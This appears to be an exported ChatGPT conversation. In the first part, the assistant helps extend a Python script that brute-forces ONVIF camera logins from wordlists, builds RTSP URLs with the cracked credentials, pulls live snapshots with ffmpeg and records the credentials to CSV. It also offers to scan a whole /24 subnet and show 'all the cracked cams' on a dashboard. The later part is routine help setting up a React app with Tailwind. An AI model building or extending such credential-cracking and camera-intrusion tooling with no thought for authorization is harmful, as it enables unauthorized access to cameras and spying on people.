"port": args.port,

"username": username,

"password": password,

"device\_info": info,

"system\_time": str(time\_info),

"rtsp\_url": rtsp\_url,

"rtsp\_stream\_ok": stream\_ok,

"snapshot": snapshot\_path if stream\_ok else None

}

🖼 Bonus Output

If RTSP works, you get:

A JPEG frame in the current folder, like: snap\_192\_168\_0\_191.jpg

That file path included in your results\_<ip>.json

📊 CSV Update (optional but smart)

Update the CSV writer block to add stream\_ok and snapshot:

writer = csv.DictWriter(f, fieldnames=[

"ip", "port", "username", "password", "model", "firmware", "rtsp\_url", "rtsp\_stream\_ok", "snapshot"

])

And update the row:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": res["device\_info"].Model,

"firmware": res["device\_info"].FirmwareVersion,

"rtsp\_url": res["rtsp\_url"],

"rtsp\_stream\_ok": res["rtsp\_stream\_ok"],

"snapshot": res["snapshot"]

})

💡 Final Note:

This hits ONVIF login and confirms:

Camera make/model

System time (helpful for time desync issues)

RTSP stream is actually working

Screenshot of live feed

Need this piped into a web UI next? Or want to scan an entire /24 subnet in one shot and dump all the cracked cams into a dashboard? I’m ready when you are.

You said:

CSV Update (optional but smart) ------------------------------- Update the CSV writer block to add `stream\_ok` and `snapshot`:

CSV Update (optional but smart)

Update the CSV writer block to add stream\_ok and snapshot:

writer = csv.DictWriter(f, fieldnames=[

"ip", "port", "username", "password", "model", "firmware", "rtsp\_url", "rtsp\_stream\_ok", "snapshot"

])

ChatGPT said:

Here’s exactly how to update your CSV writing block in your script to include those new fields:

Find this part in your code (the CSV writer section):

writer = csv.DictWriter(f, fieldnames=[

"ip", "port", "username", "password", "model", "firmware", "rtsp\_url"

])

Replace it with this:

writer = csv.DictWriter(f, fieldnames=[

"ip", "port", "username", "password", "model", "firmware", "rtsp\_url", "rtsp\_stream\_ok", "snapshot"

])

Then update the writer.writerow call from:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": res["device\_info"].Model,

"firmware": res["device\_info"].FirmwareVersion,

"rtsp\_url": res["rtsp\_url"]

})

To:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": res["device\_info"].Model,

"firmware": res["device\_info"].FirmwareVersion,

"rtsp\_url": res["rtsp\_url"],

"rtsp\_stream\_ok": res.get("rtsp\_stream\_ok", False),

"snapshot": res.get("snapshot", None)

})

Quick summary:

Add "rtsp\_stream\_ok" and "snapshot" to the CSV headers.

Include them in each row using .get() with defaults to avoid crashes.

This will give you a neat CSV showing if the RTSP stream actually worked and the filename of the snapshot it grabbed.

If you want, I can bundle the whole CSV block updated for you - just say the word.

You said:

yes

ChatGPT said:

Perfect. Here's the full, drop-in CSV writing block, updated with rtsp\_stream\_ok and snapshot fields:

🔁 Replace your existing CSV block with this:

import csv

# Save all results to CSV

csv\_file = f"results\_{args.ip.replace('.', '\_')}.csv"

with open(csv\_file, mode='w', newline='') as f:

writer = csv.DictWriter(f, fieldnames=[

"ip",

"port",

"username",

"password",

"model",

"firmware",

"rtsp\_url",

"rtsp\_stream\_ok",

"snapshot"

])

writer.writeheader()

for res in valid\_results:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": getattr(res["device\_info"], "Model", "N/A"),

"firmware": getattr(res["device\_info"], "FirmwareVersion", "N/A"),

"rtsp\_url": res.get("rtsp\_url", ""),

"rtsp\_stream\_ok": res.get("rtsp\_stream\_ok", False),

"snapshot": res.get("snapshot", "")

})

✅ This version does:

Pull fields safely with .get() or getattr() to prevent crash on missing data

Writes "True" or "False" in rtsp\_stream\_ok

Stores snapshot filenames if available (e.g., snap\_192\_168\_0\_191.jpg)

Filenames are based on IP so no overwrites if scanning multiple cams

Let me know if you want to add a timestamp, GPS guess, or pipe the output straight to an HTML report. We can go full CSI on this if you're feeling spicy.

You said:

full

ChatGPT said:

Your CSV export is now leveled up with:

✅ Timestamped filename

✅ Hostname lookup

✅ Snapshot and RTSP check logging

✅ Bulletproof field safety

Want me to wire this into an auto-generated HTML dashboard or set it to auto-email reports?

You said:

def load\_list(filepath):

try:

with open(filepath, 'r') as f:

return [line.strip() for line in f if line.strip()]

except FileNotFoundError:

logging.error(f"File not found: {filepath}")

return []

usernames = load\_list(args.userlist)

passwords = load\_list(args.passlist)

# Setup Transport

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(args.ip, args.port, username, password, args.wsd>

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

time\_info = devicemgmt.GetSystemDateAndTime()

# Guess RTSP stream URL

rtsp\_url = f"rtsp://{username}:{password}@{args.ip}:554/Streaming/>

stream\_ok = False

snapshot\_path = f"snap\_{args.ip.replace('.', '\_')}.jpg"

try:

# Use ffmpeg to pull a single frame and save it

import subprocess

cmd = [

"ffmpeg",

"-y", # overwrite if exists

"-rtsp\_transport", "tcp",

"-i", rtsp\_url,

"-vframes", "1",

"-q:v", "2",

snapshot\_path

]

subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subproce>

stream\_ok = True

except Exception as e:

print(f"[!] RTSP check failed for {rtsp\_url} - {e}")

snapshot\_path = None

success = {

"ip": args.ip,

"port": args.port,

"username": username,

"password": password,

"device\_info": info,

"system\_time": str(time\_info),

"rtsp\_url": rtsp\_url,

"rtsp\_stream\_ok": stream\_ok,

"snapshot": snapshot\_path if stream\_ok else None

}

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Chat history

You said:

Edit src/App.js and save to reload.

ChatGPT said:

That’s the default line you see when you create a new React app with create-react-app. It's in src/App.js, and looks something like this:

function App() {

return (

<div className="App">

<header className="App-header">

<p>

Edit <code>src/App.js</code> and save to reload.

</p>

</header>

</div>

);

}

Want to spice it up or replace it with your own content? Here's a quick example to change the message:

function App() {

return (

<div className="App">

<header className="App-header">

<h1>Welcome to Ogre's React Realm</h1>

<p>Now go break something and build it better.</p>

</header>

</div>

);

}

Let me know if you want to swap out the styles, pull in an API, or kickstart with Tailwind or shadcn/ui.

You said:

yes and where does it go

ChatGPT said:

Alright, Ogre-here’s the no-fluff breakdown of where it goes:

File:

src/App.js (or App.jsx if you're using JSX with extensions)

Full Example (to replace the default boilerplate):

// src/App.js

import React from 'react';

function App() {

return (

<div className="App">

<header className="App-header">

<h1>Welcome to Ogre's React Realm</h1>

<p>Now go break something and build it better.</p>

</header>

</div>

);

}

export default App;

TL;DR - What to do:

Open your project folder.

Navigate to src/App.js.

Replace everything inside with the code above.

Save the file.

If you’ve got npm start or yarn start running, your browser will hot-reload automatically.

If not, fire it up:

npm start

Want to customize styles or yank out the old logo.svg? Just say the word.

You said:

more details on finding file

ChatGPT said:

You got it. Let’s break it down like a tired server explaining why your burger’s taking 40 minutes.

🔍 How to Find App.js in a React Project:

🛠️ Step-by-step if you’re using VS Code (or any editor):

Open your project folder

You should’ve run something like:

npx create-react-app my-app

Now open that my-app folder in VS Code:

cd my-app

code .

In the File Explorer (left sidebar):

Open the src folder.

Inside that, you’ll see a file called App.js (or possibly App.jsx if you’re using that extension).

Double-click App.js to open it.

What it looks like by default:

function App() {

return (

<div className="App">

<header className="App-header">

<p>

Edit <code>src/App.js</code> and save to reload.

</p>

</header>

</div>

);

}

export default App;

🧱 Folder Structure (Typical React app):

my-app/

├── node\_modules/

├── public/

├── src/

│ ├── App.css

│ ├── App.js ← YOU WANT THIS ONE

│ ├── App.test.js

│ ├── index.js

│ └── ...

├── .gitignore

├── package.json

├── README.md

└── yarn.lock / package-lock.json

🧪 Check yourself:

If App.js doesn’t exist, something’s off. You might be in the wrong directory, or your project didn't scaffold properly.

Make sure you see a src folder and node\_modules. If not, you might need to re-run:

npx create-react-app my-app

Want me to help you add Tailwind, remove the old logo, or build something non-boring inside it? Just holler.

You said:

Removing .git directory...

Success! Created my-app at /home/chris/scanner-project/my-app

Inside that directory, you can run several commands:

npm start

Starts the development server.

npm run build

Bundles the app into static files for production.

npm test

Starts the test runner.

npm run eject

Removes this tool and copies build dependencies, configuration files

and scripts into the app directory. If you do this, you can’t go back!

We suggest that you begin by typing:

cd my-app

npm start

Happy hacking!

chris@chris-Inspiron-3847:~/scanner-project$ cd my-app

code .

Command 'code' not found, but can be installed with:

sudo snap install code

chris@chris-Inspiron-3847:~/scanner-project/my-app$ cd my-app

bash: cd: my-app: No such file or directory

chris@chris-Inspiron-3847:~/scanner-project/my-app$

ChatGPT said:

Alright, Ogre, let’s unfunk this funky shell situation.

🚨 What just happened?

You ran:

cd my-app

while already inside ~/scanner-project/my-app, so it's trying to go into a folder that doesn’t exist (like Inception, but dumber).

✅ Fix: Get back on track

You’re already in the right directory:

~/scanner-project/my-app

So just skip the second cd my-app, and instead run:

ls

You should see something like:

node\_modules public src package.json README.md

Now, run:

npm start

And that’ll fire up the development server on http://localhost:3000.

👀 Want to edit the file?

You tried:

code .

But your terminal hit back with:

Command 'code' not found, but can be installed with:

sudo snap install code

That’s just Ubuntu saying you don’t have Visual Studio Code installed (or CLI access).

🔧 To fix it:

If you want to use VS Code, install it:

sudo snap install code --classic

After that, you’ll be able to do:

code .

And boom-you’re editing in style.

Or skip VS Code and use Nano:

nano src/App.js

It’s old-school and brutal, but it'll get the job done.

Want to trick out your App with Tailwind or a quick UI component while we’re here?

You said:

sure

ChatGPT said:

Hell yeah, let's get this React baby out of diapers and into some clean Tailwind threads. 🌀

🧰 Step-by-step: Add Tailwind CSS to your React app

You're in:

~/scanner-project/my-app

✅ 1. Install Tailwind and friends

Run this bad boy:

npm install -D tailwindcss postcss autoprefixer

npx tailwindcss init -p

You’ll now have two new files:

tailwind.config.js

postcss.config.js

✅ 2. Configure Tailwind

Open tailwind.config.js and make it look like this:

/\*\* @type {import('tailwindcss').Config} \*/

module.exports = {

content: ["./src/\*\*/\*.{js,jsx,ts,tsx}"],

theme: {

extend: {},

},

plugins: [],

};

This tells Tailwind to scan your src files for class names.

✅ 3. Add Tailwind to your CSS

Open src/index.css and replace everything with:

@tailwind base;

@tailwind components;

@tailwind utilities;

Nuke anything else in there - Tailwind takes over now.

✅ 4. Clean up the mess

Optional but satisfying:

Delete these unnecessary files:

rm src/logo.svg

rm src/App.css

And in src/App.js, remove the import './App.css'; line at the top.

✅ 5. Update App.js with Tailwind power

Here’s a simple Tailwind-styled React component:

// src/App.js

function App() {

return (

<div className="min-h-screen bg-gray-900 text-white flex items-center justify-center">

<div className="text-center p-10 rounded-xl bg-gray-800 shadow-lg">

<h1 className="text-4xl font-bold mb-4">Welcome to Ogre's React Realm</h1>

<p className="text-lg text-gray-300">Now go break something and build it better.</p>

</div>

</div>

);

}

export default App;

✅ 6. Run it

Fire up your dev server:

npm start

Go to http://localhost:3000 and witness the glory.

Want buttons, cards, modals, or dark mode switch next? I can toss in shadcn/ui or animate it with Framer Motion too. Let’s cook. 🔥

You said:

roject/my-app$ src/index.css

bash: src/index.css: Permission denied

chris@chris-Inspiron-3847:~/scanner-project/my-app$

ChatGPT said:

Ah, you tried to run the file like a command - and Bash is like: "I ain’t executing your CSS, bro."

🔧 You meant to edit the file, not run it.

Here's how to do that properly:

📝 Option 1: Edit with Nano (quick and built-in)

Run:

nano src/index.css

Then:

Replace everything inside with:

@tailwind base;

@tailwind components;

@tailwind utilities;

Press Ctrl + O (write out)

Hit Enter to confirm the filename

Press Ctrl + X to exit

🖥️ Option 2: Use VS Code (nicer, if installed)

First, install it if you haven't:

sudo snap install code --classic

Then open the project:

code .

Click on src/index.css, and edit it in a real editor with mouse and style.

Want the full Tailwind setup script as a .sh file?

I can generate a one-and-done installer for you too. Let me know.

You said:

body {

margin: 0;

font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'O>

'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',

sans-serif;

-webkit-font-smoothing: antialiased;

-moz-osx-font-smoothing: grayscale;

}

code {

font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',

monospace;

}